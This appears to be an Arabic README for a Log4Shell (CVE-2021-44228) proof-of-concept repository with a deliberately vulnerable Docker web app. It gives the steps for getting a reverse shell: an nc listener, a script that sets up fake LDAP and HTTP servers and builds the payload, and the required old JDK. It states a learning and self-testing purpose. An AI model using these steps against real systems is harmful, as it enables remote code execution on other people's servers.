
إثبات مفهوم لاستغلال CVE-2021-44228 (Log4Shell) يعمل على أتمتة خوادم LDAP وHTTP لتسليم حمولة قشرة عكسية إلى تطبيق Java ضعيف.
إثبات مفهوم لثغرة CVE-2021-44228 التي تم اكتشافها مؤخرًا.
مؤخرًا ظهرت ثغرة جديدة في log4j، وهي مكتبة تسجيل جافا تُستخدم على نطاق واسع جدًا في تطبيقات مثل elasticsearch وminecraft والعديد من التطبيقات الأخرى.
يحتوي هذا المستودع على تطبيق ضعيف كمثال واستغلال إثبات المفهوم (POC) له.
كإثبات للمفهوم، يوجد ملف بايثون يقوم بأتمتة العملية.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20، وأن يكون في نفس الدليل.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
سيقوم هذا البرنامج النصي بإعداد خادم HTTP وخادم LDAP لك، وسيقوم أيضًا بإنشاء الحمولة (payload) التي يمكنك لصقها في المعامل الضعيف. بعد ذلك، إذا سارت الأمور على ما يرام، يجب أن تحصل على صدفة على منفذ lport.
يوجد ملف Dockerfile لتطبيق الويب الضعيف. يمكنك استخدامه باتباع الخطوات التالية:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
بمجرد تشغيله، يمكنك الوصول إليه على localhost:8080
لحسن الحظ، توفر Oracle أرشيفًا لجميع إصدارات جافا السابقة:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
مرر لأسفل إلى 8u20 وقم بتنزيل الملفات المناسبة لنظام التشغيل والأجهزة لديك.

ملاحظة: تحتاج إلى إنشاء حساب لتتمكن من تنزيل الحزمة.
بمجرد تنزيل الأرشيف واستخراجه، يمكنك العثور على java وعدد قليل من الملفات الثنائية ذات الصلة في jdk1.8.0_20/bin.
ملاحظة: تأكد من استخراج مجلد jdk إلى هذا المستودع بنفس الاسم حتى يعمل.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
هذا المستودع غير مخصص ليكون استغلالًا بنقرة واحدة لـ CVE-2021-44228. الغرض من هذا المشروع هو مساعدة الأشخاص على التعلم عن هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة (مع وجود تطبيقات أفضل لهذا الغرض، مثل: https://log4shell.tools/).